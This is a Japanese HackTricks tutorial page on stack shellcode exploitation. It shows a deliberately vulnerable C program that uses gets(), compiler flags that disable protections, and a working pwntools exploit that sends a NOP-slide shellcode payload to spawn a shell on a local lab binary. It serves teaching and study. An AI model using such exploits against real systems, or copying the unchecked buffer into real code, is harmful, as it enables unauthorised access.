# スタックシェルコード
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
## 基本情報
**スタックシェルコード**は、**バイナリエクスプロイテーション**で使用される技術で、攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後**命令ポインタ(IP)**または**拡張命令ポインタ(EIP)**をこのシェルコードの場所を指すように変更し、それを実行させることを指します。これは、標的システムでの不正アクセスを得たり、任意のコマンドを実行するために使用される古典的な方法です。以下に、このプロセスの詳細、シンプルなCの例、および**pwntools**を使用して対応するエクスプロイトをPythonでどのように書くかについて説明します。
### Cの例:脆弱なプログラム
まず、脆弱なCプログラムのシンプルな例を見てみましょう:
```c
#include
#include
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
```
このプログラムは、`gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。
### コンパイル
このプログラムをコンパイルする際に、さまざまな保護を無効にする(脆弱な環境をシミュレートする)には、次のコマンドを使用できます:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: スタック保護を無効にします。
* `-z execstack`: スタックを実行可能にし、スタックに格納されたシェルコードを実行するために必要です。
* `-no-pie`: 位置独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
* `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、しばしばエクスプロイト開発の簡略化に使用されます。
### Pwntoolsを使用したPythonエクスプロイト
以下は、**pwntools**を使用してPythonでエクスプロイトを記述し、**ret2shellcode**攻撃を実行する方法です:
```python
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
```
このスクリプトは、**NOPスライド**、**シェルコード**、そして**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されるようにペイロードを構築します。
**NOPスライド** (`asm('nop')`) は、実行が正確なアドレスに関係なくシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`の引数を、NOPスライドに着地するためにバッファの開始アドレスにオフセットを加えた値に調整してください。
## 保護
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) は**無効にする必要があります**。そうしないと、関数が格納されるアドレスが常に同じでなくなり、win関数がどこにロードされているかを特定するためには何らかのリークが必要になります。
* [**スタックキャナリー**](../common-binary-protections-and-bypasses/stack-canaries/) も無効にする必要があります。そうしないと、侵害されたEIPリターンアドレスは決して実行されません。
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、その領域が実行不可能であるため、スタック内のシェルコードの実行を防ぎます。
## その他の例と参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
* 64ビット、ASLRとスタックアドレスリーク、シェルコードの書き込みとその実行
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
* 32ビット、ASLRとスタックリーク、シェルコードの書き込みとその実行
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32ビット、ASLRとスタックリーク、exit()への呼び出しを防ぐための比較、変数の上書き、シェルコードの書き込みとその実行